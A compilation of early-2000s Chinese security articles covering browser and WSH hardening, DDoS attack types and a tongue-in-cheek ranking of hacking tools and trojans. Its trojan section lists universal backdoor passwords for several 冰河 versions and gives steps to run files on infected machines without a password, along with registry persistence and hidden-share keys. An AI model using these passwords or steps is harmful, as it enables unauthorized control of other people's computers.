  将系统的网络连接的安全级别设臵为.高.,它可以在一定程度上预防某些有害的JAVA程序或者某些ActiveX组件对计算机的侵害。在IE属性里面,对其.高级.选项进行配臵,取消在浏览网页时的Java功能选项,具体方法是:点击IE的.工具.菜单下的.Internet选项.,再点击.安全.选项卡里的.自定义级别.按扭,把.ActiveX控件及插件.和Java相关选项都设为禁用,这样就不怕了。不过,要说明的是这样做在浏览某些网页时会无法正常浏览,如何取舍就看你自己的了。
7、灵活应对WSH
  由于微软在IE中增加了WSH(WindowsScriptHost)的运行脚本,WSH(WindowsScriptHost)是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、Active对象、注册表和文件系统。在Windows2000下,还可用WSH来访问WindowsNT活动目录服务。WSH在Internet Explorer3.0(或以上)提供的VisualBasicScript和Jscript脚本引擎,在带给人们便利的同时,WSH也为病毒的传播留下可乖之机。对于已安装的WSH服务,我们有如下防护措施:
  A:删除脚本文件。对于Windows 2000和Windows ME,点击.开始.→.程序.→.Windows资源管理器.→.工具.→.文件夹选项.→.文件类型.,把滚动条下移找到VBScript和JScript脚本文件,将其删除。
  对于Windows98和WindowsNT4.0,点击.开始.→.程序.→.Windows资源管理器.或.WindowsNT资源管理器.→.查看.→.选项.→.文件类型.,将滚动条下移长到VBScript和JScript脚本文件,将其删除。
B:禁用WSHShell对象。禁用WSHShell对象,阻止运行程序。删除或更名系统文件夹中的wshom.ocx文件或删除注册表项:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}即可。
  C:升级WSH。IE浏览器可以被恶意脚本修改,原因就是IE5.5以及以前版本中的WSH允许攻击者利用JavaScript中的Getobject函数以及htmlfilrActivex对象读取浏览者的注册表。微软最新的MicrosoftWindowsScript5.6已经修正了这个问题。
  WSH5.6 For Win9x/NT官方下载
  WSH5.6 For Win2000官方下载
  D:禁用WSH。实在不放心的话,就禁用WSH吧。具体方法是:打开.控制面板.,再打开.添加/删除程序.,点选.Windows安装程序.,用鼠标双击其中的.附件.一项,然后在打开的窗口中将.WindowsScriptingHost.一项的.√.去掉,连点两次.确定.,就可以将WindowsScriptingHost卸载了。
8、简单修改系统。点击.开始.菜单中的.运行.,输入regedit回车,打开注册表编辑器,展开到注册表HKEY_MACHINE\SOFTWARE\Microsoft\InternetExplorer\ActiveXCompatibility\ActiveSetupcontrols下,创建一个基于CLSID的新健值{6E449683_C509_11CF_AAFA_00AA00B6015C},然后在该健值下创建一个类型为REG_DWORD名为Compatibility的键,值为.0X00000400.即可。关闭注册表编辑器,对于Windows98用户请打开C:\WINDOWS\JAVA\Packages\CVLV1NBB、ZIP,把其中的.ActiveXComponent.class.删掉;对于Windows Me用户,请打开C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP,把其中的.ActiveXComponent.class.删掉。请放心,删除这个组件不会影响
到你正常浏览网页的。
  9、预防网页恶意代码
  许多恶意网页为防止有人查看其代码内容,采取了各种各样的方法求防止我们查看其源代码。然而,他们的一切努力也许都是白费心机。因为用如下的方法可以轻易地查看其源代码。只要在IE地址栏中输入View-Source:URL即可。举个例子,你想查看http://www.****.com的源代码,只要在IE地址栏中输入:View-Source:http://www.****.com,稍等一下就会弹出一个窗口,里面就是你想看到的网页源代码。赶快仔细看看,里面是否有更改注册表或暗中下载文件的恶意代码,如果有那就别进该网页了,很简单吧?这样做不仅可以学到别人的网页制作技术,更可以事先预防恶意代码,一举两得!
10、防范再次浏览恶意网页
如果以后又不小心进入该站就又得麻烦一次。其实,你可以在IE中做一些设臵以便永远不进该站点。打开IE,点击.工具.→.Internet选项.→.内容.→.分级审查.,点.启用.按钮(图5),会调出.分级审查.对话框,然后点击.许可站点.标签,输入不想去的网站网址,按.从不.按钮,再点击.确定.即大功告成!
 
简评黑客的终极武器-DDoS
说到黑客的终极武器,那就真的不得不说到DDoS了。可能某些用户对这个东西不是十分的了解,不过从事计算机安全的人员却往往是听
到这个名字,其程度比谈虎色变还要严重。究竟这个DDoS有什么地方那么恐怖呢,下面会为你作一些简单的说明。
  通常,DoS攻击的目标是你网络的TCP/IP内层结构,而这些攻击分为三种:一种是利用TCP/IP协议的漏洞;二种是利用给定的TCP/IP协议栈软件的弱点;第三种是不断尝试的野蛮攻击。
  说起这个黑客软件的破坏力,那就不可以不说起网络安全界鼻祖CERT被攻击的事情了。5月22日,星期二,这本来只是PittsburghCarnegieMellon大学CERT交流中心的一个寻常的日子。可是就在这一天,被认为是计算机安全的泰斗的CERT将在这一天被黑客们"离散的服务拒绝"(DDoS)的攻击手段踢出网络。另外,微软、雅虎和Exodus都在过去的12个月里遭到了DDos的毒手;可能成为下一个目标很可能就是你或者是你的客户喔。毕竟,如果有人真的想要用DDoS攻击你的服务器而使其瘫痪,他们是绝对有能力做到的,而且是防不胜防。
  .离散的服务拒绝.主要是通过阻止你的服务器发送你所提供的服务而工作的。要达到这个目的,黑客可以有很多种方法,例如最典型的就是Outlooke-mail蠕虫病毒Melissa及其同类了,因为它们可以驱使Outlook程序的客户端向服务器不停的发出充满了蠕虫病毒的信件直到服务器在重压之下瘫痪。很多人一提到DoS攻击的过程,就会联想到是用很多无用的信息来阻塞网络,以此来达到使其瘫痪的目的。其实这只是其中一个比较典型的方法。事实上还有一种方法其实也是非常有效的,那就是名为消耗服务器资源方式的攻击。这种攻击
是用一个低速的modem连接来进行的。
  其中,Mazu网络公司设计的TrafficMasterInspector是一种对付DDoS的好工具。通过不停地进行以G为单位的以太网速度的数据检查,并且尽可能远的追溯数据来源。简单的说,Mazu希望能够实时的探测到网络攻击,然后让正常的数据包通过同时将DDoS数据包阻挡起来。它对网络的这种保护使得它适合于ISP和数据中心服务器。
  对于企业用户来说,可以通过安装一些软件例如防火墙和象ZoneLabs公司的ZoneAlarmPro等,这些都可以起到免受或克制DDoS攻击的作用。另外,企业用户也可以寻求Asta网络公司的帮助。Asta网络公司开发了一种Vantage系统,这种系统可以起到一种类似于反病毒软件的作用,主要是起到预防的作用,当它发现了可能的攻击,Vantage系统会提示网络管理员,然后网络管理员就能使用路由过滤器甚至在数据流传送的途中关闭网络服务器来阻止攻击。而这个系统是通过分析和寻找可能的DDoS攻击的在一般攻击前的特点,它不停地将网络上数据包和已知的DDoS数据包的定式比较,这些定式包括流往域名服务器(DNS)的非标准的数据流,如果当它发现问题的时候,就会提示网络管理员了。
上面已经说过,DDoS其中的一种破坏方法就是破坏TCP/IP协议。其中最典型的例子就是Ping of Death攻击啦,这些黑客建造了一个超过了IP标准的最大长度--65535个字节的IP数据包。(Sinbad注:Ping'oDeath攻击是发送多个IP分片,总长度超过65535;jolt2才是连续发送一个偏移量很大的数据包)当这个"浮肿的"数据包到达的时
候,,它就使得一个使用脆弱的TCP/IP协议软件和操作系统的服务器瘫痪。另外一个进行攻击的例子是Teardrop,它主要是利用了系统重组IP数据包过程中的漏洞工作的。一个数据包在从互联网的另一端到你这里的路上也许会被分拆成更小的数据报文。这些数据报中的每一个都拥有最初的IP数据报的报头,同时还拥有一个偏移字节来标示它拥有原始数据报中的哪些字节。通过这些信息,一个被正常分割的数据报文能够在它的目的地被重新组装起来,并且网络也能够正常运转而不被中断。当一次Teardrop攻击开始时,你的服务器将受到拥有重叠的偏移字段的IP数据包的轰炸。如果你的服务器或是路由器不能丢弃这些数据包而且如果企图重组它们,你的服务器就会很快瘫痪。如果你的系统被及时更新了,或者你拥有一个可以阻挡Teardrop数据包的防火墙,你应该不会有什么麻烦。
  另外还有就是利用TCP/IP协议本身的漏洞来进行攻击的手段,这些手段也不少,其中最流行的SYN攻击。SYN工作的原理就是利用两个互联网程序间协议握手的过程进行的攻击。协议握手的过程如下,其中一个应用程序向另一个程序发送一个TCP SYN(同步)数据包。然后目标程序向第一个程序发送一个TCP-ACK应答数据包作为回答;第一个程序最后用一个ACK应答数据包确认已经收到。一旦这两个程序握手成功,它们就准备一起运行了。SYN攻击用一堆TCP SYN数据包来淹没它的受害者。每个SYN数据包迫使目标服务器产生一个SYN-ACK应答数据包然后等待对应的ACK应答。这很快就导致过量的SYN-ACK一个接一个的堆积在缓存队列里。当缓存队列
满了以后,系统就会停止应答到来的SYN请求。如果SYN攻击中包括了拥有错误IP源地址的SYN数据包,情况很快就会变得更糟。在这种情况下,当SYN-ACK被送出的时候,ACK应答就永远不会被收到。飞快充满的缓存队列使得合法程序的SYN请求无法再通过。更加厉害的是,与之相似的Land攻击手段使用欺骗性的SYN数据包,它带有一个伪装的IP地址,使得它看起来像是来自你自己的网络。现在,SYN攻击就像是来自于你防火墙的内部,这使得问题更加严重。大多数时新的操作系统和防火墙可以阻止SYN攻击。另一个简单的阻止SYN攻击的方法是阻塞掉所有带有已知的错误的IP源地址的数据包。这些数据包应该包括带有错误的为内部保留的IP地址的外部数据包。
  另外还有Smurf攻击和用户数据报文协议冲击。这两种攻击都使用了同一的手段。当你被Smurf攻击的时候,攻击者用互联网控制信息协议(ICMP)的应答数据包--一种特殊的ping数据包来填充你的路由器。这些数据包的目的IP地址同时是你的广播地址,这使得你的路由器将ICMP数据包广播到网络上的每一台主机。不言自明的是,对于一个大型网络来说,它将引起巨大的网络信息流量。而且,就像Land攻击那样,如果黑客将Smurf攻击和欺骗手段结合起来,破坏力就更大。免Smurf攻击的一种简单的方法就是在路由器中禁用广播地址并且设臵你的防火墙来过滤ICMP应答协议。你也可以设臵你的服务器来使得它不对发送ICMP数据包到IP广播地址的要求做出响应。这些设臵不会影响到你的网络的正常工作因为很少有应用程序使
用IP协议的广播功能。
不过要对付采用UDP冲击方法的DoS攻击就不那么容易了,因为一些合法的应用程序,比方说RealVideo,也使用UDP协议。在一次UDP冲击中,攻击者伪造出一个请求,将一个系统的UDP开启测试服务程序与另一个系统的UDP应答程序连在一起。UDP开启测试服务程序是一个用于测试的从收到的数据包产生字符的程序。结果是,由UDP开启测试服务程序伪随机产生的字符在两个系统间不停的被反射,使得合法应用程序的带宽要求得不到满足。
  一种阻止UDP攻击的方法是禁用或者过滤对主机的所有UDP服务要求。只要你允许非服务请求的UDP请求通过,使用UDP协议的或是把UDP协议当作备用数据传输协议的通常的应用程序将继续正常工作。使用这些防御的方法,你可能认为应付DoS攻击就像应付一根火腿肠一样容易。你错了。因为发动DDoS攻击是如此的容易,任何心怀不轨的人都能组织起几十台甚至上百台计算机来对你的系统发动DoS攻击。单是巨大的参与攻击的计算机的数量就能冲垮你的堡垒并将你的网络塞满垃圾信息。使用TribeForceNetwork(TFN),Trin00或是Stacheldraht这样的工具,任何人都可以将DDoS的攻击"僵尸"植入一些毫无防范的系统中。然后,攻击者发送攻击目标的信息以及攻击的指令。DDoS瞬间即至。这些在1997年到1999年被发明的攻击方法是容易被察觉的。但是,新一点的DDoS却使用"脉动僵尸"。这种攻击手段并不使用野蛮的攻击,而是发送一波一波的小带宽的数据,这样,它们就能绕过那些为密集进攻而设臵的网络警报
器。
  DDoS攻击只可能增加。随着互联网的扩大,更多的用户将获得对网络的宽带接入,这给了黑客们更多的可以利用的系统。火上浇油的是,微软将它的Windows XP操作系统定位为下一代的面向大多数消费者的操作系统,Windows XP将使用"原始的"TCP/IP套接字。通常,程序员们在编写程序时使用与其功能相关的套接字--套接字是一种将应用程序与TCP/IP相连的软件对象。
  TCP/IP协议同时定义了一种SOCK_ROW的套接字类型。并不是所有的操作系统支持这种套接字,但是Unix和Windows XP支持。使用原始套接字,一个程序员可以编写代码调用任何TCP/IP套接字。只要对不按TCP/IP标准进行编程很在行,原始套接字就能让程序员编写非法的应用程序,比方说DDoS僵尸,因为它们允许程序员以一种无法预料的方式使用广泛流行的套接字。例如,你可以使用原始套接字来编写DDoS攻击程序,它们使用套接字80--Web超文本传输协议选择的套接字,来获取它的指令。
  虽然Windows 2000,Unix和它的后代,Linux和BSD操作系统,也支持原始套接字,但这些操作系统是被拥有足够技术的行家照看着的。这些用户即使不能使他们的系统以适当地方式运行,他们也懂得如何锁定这些系统。但是XP却将由一个刚刚从电脑城里将它买回来的人看管,它远不太可能被一个专家级的管理员来使用并查找出新的DDoS代理程序。因为这一点,Gibson研究团体的SteveGibson预言说目前DDoS攻击的爆炸式的增长(据Gibson估计为每星期4,000
次)将大幅度增加。从理论上讲,这将使互联网本身因为成百上千的DDoS攻击而减慢速度。
  除了保护你的系统不被DDoS僵尸和上面所述的方法攻击,你还应该鼓励任何使用宽带互联网的人安装一个基本的防火墙。ZDNet的下载站点有一长串的个人防火墙,这些防火墙易于使用并且提供基本的保护功能。ZoneLabs公司的ZoneAlarm就是一种由专家推荐给那些想要了解在他的网络连接上究竟发生了些什么的初级用户的软件。在一位朋友的使用DSL连接的电脑上使用了ZoneAlarm后我们发现了两个,不是一个,蓄势待发的DDoS僵尸。我们还注意到每天都有人企图非法闯入他的系统。如果你拥有宽带连接,那么安全不仅仅是一个好主意,它是一种必要。
什么样的防御是足够的呢?只有时间和经验才能告诉我们,但是如果现在你不打算保护你不受DDoS的攻击,你不仅有失去网络连接的危险,你本身就可能成为网络安全问题的一部分了。所以,现在开始防备还来得及喔。
 
角逐网络江湖——黑客兵器谱排名
纵横于黑客江湖,没几件称心兵器怎能立足?本栏目将不定期刊出黑客常用的重量级兵器,希望对读者朋友了解、学习网络安全技术有所指导。
  No.1懂得用刀杀人并不困难,要懂得如何用刀救人,却是件困难的事。
  兵器名称:X-Scan
  杀伤指数:★★★★☆
  独门绝技:采用了多线程方式对指定IP地址段进行安全漏洞检测,支持插件功能,提供了图形界面和命令行两种操作方式。扫描内容包括:远程服务类型、操作系统类型及版本,各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等二十几个大类,支持在线升级,是国内最优秀的安全扫描软件之一。通常为黑客攻击前寻找肉鸡,检测漏洞之用。
  No.2一个人一生中一定要勉强自己做几件不愿做的事,这样的生命才有意义。
  兵器名称:流光
  杀伤指数:★★★★☆
  独门绝技:可以探测POP3、FTP、HTTP、PROXY、FORM、SQL、SMTP、IPC$上的各种漏洞,并针对各种漏洞设计了不同的破解方案,能够在有漏洞的系统上轻易得到被探测的用户密码,进而掌控guest和管理员权限。不论是新手还是资深黑客都对它青睐有加。每天有大量受害者欲哭无泪。
  No.3世上若还有比遇见一个泼妇更头痛的事,那就是遇见了一群泼妇。
  兵器名称:DDoS系列
  杀伤指数:★★★★★
  独门绝技:分布式拒绝服务攻击,比较难以防范的攻击手段。攻
击者借助一定数量的傀儡机,提出过量合理的服务请求来占用攻击对象系统和网络资源,造成目标瘫痪和崩溃。
黑客的神兵利器数不胜数,好把式的黑客还可以随手打造专用工具。心有多大,舞台就有多大。难道这些就算是黑客最厉害的武器吗?当然不是,黑客最厉害的武器,是他们的微笑。
 
浅析黑客常用的五大重量级武器
No.1人生中往往有很多奇妙有趣的巧合,凡是伟大的画家眼睛往往不太好,伟大的乐师耳朵往往不太灵。
  武器名称:冰河
  杀伤指数:★★★★★
  独门绝技:由服务端自动搜索受感染的电脑;拥有记录口令信息、远程关机、远程重启计算机、锁定鼠标、锁定系统热键及远程任意删除移动文件夹、发送垃圾短消息等多项功能;虽已停止开发,但网友改编的版本仍如雨后春笋。号称中国第一木马,中者无数。
  No.2很多人都会把自己看得很高,所以当有的人发现自己真正价值的时候,总是会觉得若有所失。
  武器名称:黑洞
  杀伤指数:★★★★
  独门绝技:感染方式很多,如邮件、捆绑等。感染者没有任何觉察,因为它所占用内存及资源均很少,而且非常隐秘。被感染者系统将完全开放,任由别人摆布,危害巨大。新版还有防杀防火墙的功能。
No.3你最好能令敌人低估你的力量,否则你就最好不要有敌人。
  武器名称:密码使者-密码高手
  杀伤指数:★★★
  独门绝技:键盘记录+内存监视+破解加密密码。可以捕获几乎所有普通窗口的登录密码,如:QQ、ICQ、Outlook、网吧上网账号、软件注册码、各种网络游戏等等。
  No.4刹那前,他还是个君子,刹那后,忽然变成了个恶棍。永远觉得自己没有弱点,这就是他最大的弱点。
  武器名称:网络神偷
  杀伤指数:★★★★
  独门绝技:运用了.反弹端口原理.与.HTTP隧道技术.,更容易穿透防火墙。可对远程主机的文件进行几乎所有操作。尽管作者已经声明该软件用于正当用途,但更多的时候还是被用在黑客远程控制上。
  No.5一个人内心深处,往往会有些秘密是自己都不知道的,也许并不是真的不知道,只不过是不敢去把它暴露出来而已。
  武器名称:HackerDefender
  杀伤指数:★★★★
独门绝技:内核级后门软件,用户可以通过该软件隐藏文件、进程、系统服务、系统驱动、打开的端口以及虚构可用磁盘空间。程序同时也可驻留在内存中并伪装它所做的改动。
 
黑客常用兵器之木马篇
.我知道远程控制是种武器,在十八般兵器中名列第七,木马呢?.
  .木马也是种武器,也是远程控制。.
  .既然是远程控制,为什么要叫做木马?.
.因为这个远程控制,无论控制了什么都会造成离别。如果它钩住你的E-Mail,你的E-Mail就要和你离别;如果它钩住你的QQ,你的QQ就要和你离别。.
  .如果它钩住我的机器,我就和整个网络离别了?.
  .是的。.
  .你为什么要用如此残酷的武器?.
  .因为我不愿被人强迫与我所爱的人离别。.
  .我明白你的意思了。.
  .你真的明白?.
  .你用木马,只不过为了要相聚。.
  .是的。.
  一
  在众多的黑客武器中特洛伊木马(Trojanhorse)这种攻击性武器无论是菜鸟级的黑客爱好,还是研究网络安全的高手,都视为最爱。虽然有的时候高手将木马视为卑鄙的手段。但是作为最为有效的攻击工具,木马的威力要比其他的黑客工具大得多。
  .木马既然如此有效,为何在Hacker兵器谱中排名靠后?.
  .因为使用木马往往不是很光明正大。.
  .哦?为何?.
  .在使用木马的人群中菜鸟黑客居多,他们往往接触网络不久,对黑客技术很感兴趣,很想向众人和朋友显示一番,但是去驾驭技术不高,不能采取别的方法攻击。于是木马这种半自动的傻瓜式且非常有效的攻击软件成为了他们的最爱。而且随着国产化的木马不断的出现,多数黑客的入门攻击几乎无一例外都是使用木马。当然对于那些黑客老手来说他们也并不是不使用木马了,他们通常会在得到一个服务器权限的时候植入自己编写的木马,以便将来随时方便进出这台服务器。.
  .但如此一来木马的名声不就随之降低了吗?.
  .是的,所以现在的黑客高手都耻于用木马,更耻于黑个人的计算机。.
  .不过木马在很多人的眼中仍然是一等一的绝好兵器。.
  在众多的木马之中CultofDeadCow开发的BackOrific2000应该算是名气比较大的一个。这款软件是在BackOrific2.1的基础之上开发的,但是他最大的改动就是增加了对Windows NT服务器系列的支持。作为微软的高端产品,BO2000的这个功能无疑对Windows NT来说是致命的,就Windows NT本身而言,由于硬盘采取了NTSF的加密,普通的木马,包括冰河也无法控制,当然要想要让多数木马无法对Windows NT发挥作用最好将Windows NT转化为NTSF的格式下才会比较好用一些。
  而正因为如此BO2000才深得黑客高手的喜爱,因为他们感兴趣的也只有服务器,也只有Web Server才能够提起他们的胃口,那是一种来自深层感官的刺激。
  通常情况下木马大致可分为两个部分:服务器端程序和客户端程序。服务器端通常就是被控制端,也是我们传统概念上的木马了。
  二
  .你说BO2000好,但是绝大多数的杀毒招数都能够将其制服,而且我感觉他在使用上不如我手里的冰河锐利,况且我也不想黑什么服务器。我认为,个人电脑中隐藏有更大的宝藏,而且个人电脑脆弱的我能够利用任何一种方法摧毁它。
  .你说的很对,冰河确实锐利,而且称霸中华江湖一年之久,也可谓武林中少见的好兵刃,但是兵器虽然锋利,但兵器在打造的时候却留下来一个致命的缺点,这也是木马冰河为何在武林衰败的原因。.
  .这是一个什么样的弱点那?竟然如此致命?.
  .呵呵,说白了也很简单,冰河的作者在打造冰河2.X版本时就给它留下了一个后门,这个后门其实就是一个万能密码,只要拥有此密码,即便你中的冰河加了密码保护,到时候仍然行同虚设。.
  .什么!真有此事?想我许多朋友还因为冰河好用把它当作了一个免费的远程控制程序来用,如此这般,他们的机子岂不暴露无遗?.
  .呵呵,在黑客中瞒天过海、借花献佛这些阴险的招数都不算什么,多数木马软件的作者为了扩大自己的势力范围和争取主动权都会留一手,致命的一招。冰河的作者当然也不例外,而且由于作者钟爱
许美静,所以每一个冰河中都包含许美静的歌词。当然作者为自己以后行事方便也留了几个万能密码。.
  .噢?万能密码?.
  .通常黑客在植入冰河这种木马的时候,为了维护自己的领地通常的要为自己的猎物加一个密码,只有输入正确的密码你才能够正常的控制对方的计算机,但是冰河的打造者为了方便自己的使用在冰河中加入了一个万能的密码,就像万能钥匙一样。冰河各版本的通用密码:
  2.2版:Can you speak Chinese?
  2.2版:05181977
  3.0版:yzkzero!
  4.0版:05181977
  3.0版:yzkzero.51.net
  3.0版:yzkzero!
  3.1-netbug版密码:123456!@
  2.2杀手专版:05181977
  2.2杀手专版:dzq20000!
你可以试试看,是不是很轻松的就能够进入任何一台有冰河服务器端的电脑?.
  .真的进入了,果然有此事情,怪不得现在很多人都不再使用冰河。.
  .此外冰河还存在着两个严重的漏洞:
  漏洞一:不需要密码远程运行本地文件漏洞。
  具体的操作方法如下:我们选择使用相应的冰河客户端,2.2版以上服务端用2.2版客户端,1.2版服务端需要使用1.2版客户端控制。打开客户端程序G_Client,进入文件管理器,展开.我的电脑.选中任一个本地文件按右键弹出选择菜单,选择.远程打开.这时会报告口令错误,但是文件一样能上传并运行。
  任何人都可以利用这个漏洞上传一个冰河服务端就可以轻松获得机器的生死权限了,如果你高兴的话,还可以上传病毒和其它的木马。
  漏洞二:不需要密码就能用发送信息命令发送信息,不是用冰河信使,而是用控制类命令的发送信息命令。.
  .当然这的确是一个原因,但更主要的是现在的多数杀毒软件都能克制冰河。.
  三
  木马通常会在三个地方做手脚:注册表、win.ini、system.ini。这三个文件都是电脑启动的时候需要加载到系统的重要文件,绝大部分木马使用这三种方式进行随机启动。当然也有利用捆绑软件方式启动的木马,木马phAse1.0版本和NetBus1.53版本就可以以捆绑方式装到目标电脑上,可以捆绑到启动程序上,也可以捆绑到一般程序的常用程序上。如果木马捆绑到一般的程序上,启动是不确定的,这要看目标电脑主人了,如果他不运行,木马就不会进入内存。捆绑方式是一种手动的安装方式,一般捆绑的是非自动方式启动的木马。非捆绑
方式的木马因为会在注册表等位臵留下痕迹,所以,很容易被发现,而捆绑木马可以由黑客自己确定捆绑方式、捆绑位臵、捆绑程序等,位臵的多变使木马有很强的隐蔽性。
  .在众多木马中,大多数都会将自己隐藏在Windows系统下面,通常为C:\Windows\目录或者C:\Windows\system\与C:\Windows\system32下隐藏。.
  .众多的目录中为何选择这两个目录?.
  .呵呵,当然是为了便于隐蔽。通常这几个目录为计算机的系统目录,其中的文件数量多而繁杂,很不容易辨别哪些是良性程序哪些是恶性程序,即便高手往往也会有失误删除的情况。而且,即便放臵在系统目录下,就多数为重要的文件,这些文件的误删除往往会直接导致系统严重的瘫痪。.
  .原来如此。.
  .前辈,木马冰河是否也做了这些手脚?.
  .这是自然,木马一旦被植入目标计算机中要做的最重要的事就是如何在每次用户启动时自动装载服务端。冰河也是如此了。首先,冰河会在你的注册表中的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run和RUNSERVICE键值中加上了\kernl32.exe(是系统目录),
  §c:\改动前的RUN下
  默认=""
  §c:\改动后的RUN下
  默认="C:\\WINDOWS\\SYSTEM\\Kernel32.exe"
  §c:\改动前RunServices下
  默认=""
  §c:\改动后RunServices下
  默认="C:\\WINDOWS\\SYSTEM\\Kernel32.exe"
  §c:\改动前[HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command]的:
  默认="Notepad.exe%1"
  §c:\改动后[HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command]的:
  默认="C:\\WINDOWS\\SYSTEM\\Sysexplr.exe%1"
可以看出之所以冰河可以自我恢复主要靠的是C:\\WINDOWS\\SYSTEM\\Sysexplr.exe,而且冰河服务器端的编制是加密的,没法简单的通过改注册表得到或换掉。另外值得一提的是,即便你删除了这个键值,也并非平安大吉,冰河还会随时出来给你捣乱,主要因为冰河的服务端也会在c:\windows目录下生成一个叫sysexplr.exe文件,当然这个目录会随你windows的安装目录变化而变化。
  .这个文件名好像超级解霸啊,冰河竟然如此狠毒。.
  .哈哈哈哈,你说的很对,也很聪明,这个文件的确很像超级解
霸,但是这还是不够称得上为阴险,最为阴险的是这个文件是与文本文件相关联的,只要你打开文本,sysexplr.exe程序就会重新生成一个krnel32.exe,此时你的电脑还是被冰河控制著。而且如果你失误将sysexplr.exe程序破坏,你计算机的文本文件将无法打开。.
  木马都会很注意自己的端口,多达六万多种的端口很容易让我们迷失其中,如果你留意的话就会发现,通常情况下木马端口一般都在1000以上,并朝着越来越大的趋势发展。这主要是因为1000以下的端口是常用端口,况且用时占用这些端口可能会造成系统不正常,木马也就会很容易暴露;此外使用大的端口也会让你比较难发现隐藏其中的木马,如果使用远程扫描端口的方式查找木马,端口数越大,需要扫描的时间也就越多,故而使用诸如8765的端口会让你很难发现隐藏在其中的木马。
  四
  .既然木马如此的阴险,那么前辈有何可知木马的方法啊?.
  .现在的木马虽然阴险,但终究逃不过几个道理。平时出名的木马,杀毒软件就多数能够对付。但是现在木马种类繁多,有很多杀毒软件对付不了的。但是,只要我们谨记一下几个方法,就能够手到擒来。.
  .首先,我们可以选择端口扫描来进行判断,因为木马在被植入计算机后会打开计算机的端口,我们可以根据端口列表对计算机的端口进行分析。此外,查看连接也是一种好办法,而且在本地机上通过netstat -a(或某个第三方的程序)查看所有的TCP/UDP连接,查看
连接要比端口扫描快,而且可以直观地发现与我们计算机连接的有哪些IP地址。当然,如果你对系统很熟悉的话,也可以通过检查注册表来进行木马的杀除,但是这个方法不适合于那些菜鸟级用户。查找木马特征文件也是一种好方法,就拿冰河来说…….
  .这个我知道前辈,木马冰河的特征文件一定是G_Server.exe。.
  .那有这么简单。冰河植入计算机后真正的特征文件是kernl32.exe和sysexlpr.exe。.
  .太狠毒了,一个跟系统内核文件一样,一个又像超级解霸。那么前辈我们把这两个文件删除掉,这冰河岂不就消失了。.
  .的确,你要是在DOS模式下删除了他们,冰河就被破坏掉了,但是你的计算机随之会无法打开文本文件,因为你删除的sysexplr.exe文件是和文本文件关联的,你还必须把文本文件跟notepad关联上。修改注册表太危险,你可以在Windows资源管理器中选择查看菜单的文件夹选项,再选择文件类型进行编辑。不过最简单的方法是按住键盘上的SHIFT键的同时鼠标右击任何一个TXT为后缀的文本文件,再选择打开方式,选中〖始终用该程序打开〗,然后找到notepad一项,选择打开就可以了。.
  .哈哈,按照前辈这么说来,我们只要抓住了这特征,天下的木马也奈何不了我们了。.
  五
  .哈哈,你可知道除了冰河这样的木马经常使用的隐身技术外,更新、更隐蔽的方法已经出现,这就是―驱动程序及动态链接库技术。
驱动程序及动态链接库技术和一般的木马不同,它基本上摆脱了原有的木马模式―监听端口,而采用替代系统功能的方法改写驱动程序或动态链接库。这样做的结果是:系统中没有增加新的文件所以不能用扫描的方法查杀、不需要打开新的端口所以不能用端口监视的方法进行查杀、没有新的进程所以使用进程查看的方法发现不了它,也不能用kill进程的方法终止它的运行。在正常运行时木马几乎没有任何的症状,而一旦木马的控制端向被控端发出特定的信息后,隐藏的程序就立即开始运作。此类木马通过改写vxd文件建立隐藏共享的木马,甚是隐蔽,我们上面的那些方法根本不会对这类木马起作用。
  .可是前辈说的这种木马晚生并没有见到啊。.
.笨蛋!你没有见过,你怎么知道我老人家也没有见过?告诉你我已经看到了一个更加巧妙的木马,它就是Share。运行Share木马之前,我先把注册表以及所有硬盘上的文件数量、结构用一个监控软件DiskState记录了起来,这个监控软件使用128bit MD5的技术来捕获所有文件的状态,系统中的任何文件的变动都逃不过他的监视,这个软件均会将它们一一指出。.
  .前辈我这里第一次运行Share后,系统好像没有动静,使用Dllshow(内存进程察看软件)观看内存进程,似乎也没有太大的变化。一般木马都会马上在内存驻留的,或许此木马修改了硬盘上的文件。.
  .好,那么你就接着用DiskState比较运行share.exe前后的记录。.
  .程序显示windows\applog里面的目录的一些文件和system.dat、
user.dat文件起了变化,并没有其他文件的增加和修改。.
  .系统中的applog目录里面存放了所有应用程序函数和程序调用的情况,而system.dat和user.dat则是注册表的组成文件。你把applog目录里面的share.lgc打开来观看,它的调用过程是什么?.
  .调用过程如下:
  c15625a092110"C:\WINDOWS\SYSTEM\OLEAUT32.DLL"
  c1561d40c1000"C:\WINDOWS\SYSTEM\OLE32.DLL"
  c15535206000"C:\WINDOWS\SYSTEM\INDICDLL.DLL"
  c15d4fd02623"C:\WINDOWS\WIN.INI"
  c15645b08000"C:\WINDOWS\SYSTEM\SVRAPI.DLL"
  c1554190f000"C:\WINDOWS\SYSTEM\MPR.DLL"
  c154d180a1207"C:\WINDOWS\SYSTEM\USER.EXE"
  c1555ef013000"C:\WINDOWS\SYSTEM\MSNET32.DLL"
  但是为什么前辈我们看不到MSWINSCK.OCX或WSOCK2.VXD的调用呢?如果木马想要进行网络通讯,是会使用一些socket调用的。.
  .那么接着你再观察注册表的变化。.
  .好像在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面,多了几个键值,分别是CJT_A$、CJT_C$、CJT_D$、CJT_E$、CJT_F$,其内部键值如下:
  "Flags"=dword:00000302
  "Type"=dword:00000000
  "Path"="A:\\"《-----路径是A到F
  "Parm2enc"=hex:
  "Parm1enc"=hex:
  "Remark"="黑客帝国"
  .
  .这就对了,然后你在浏览器的地址栏输入\\111.111.111.1\CJT_C$。.
  .啊!居然把我的C盘目录文件显示出来了。.
  .现在你把CJT_C$改成matrix然后重启计算机,接着在浏览器的地址栏输入\\111.111.111.1\matrix。.
  .前辈,也显示C盘目录文件了,很奇怪的是,在我的电脑里面硬盘看上去并没有共享啊?.
  .哈哈,那你再把"Flags"=dword:00000302的302改成402,
reboot计算机。.
  .嘻嘻,硬盘共享已显示出来了。那么如何防止这种木马那?.
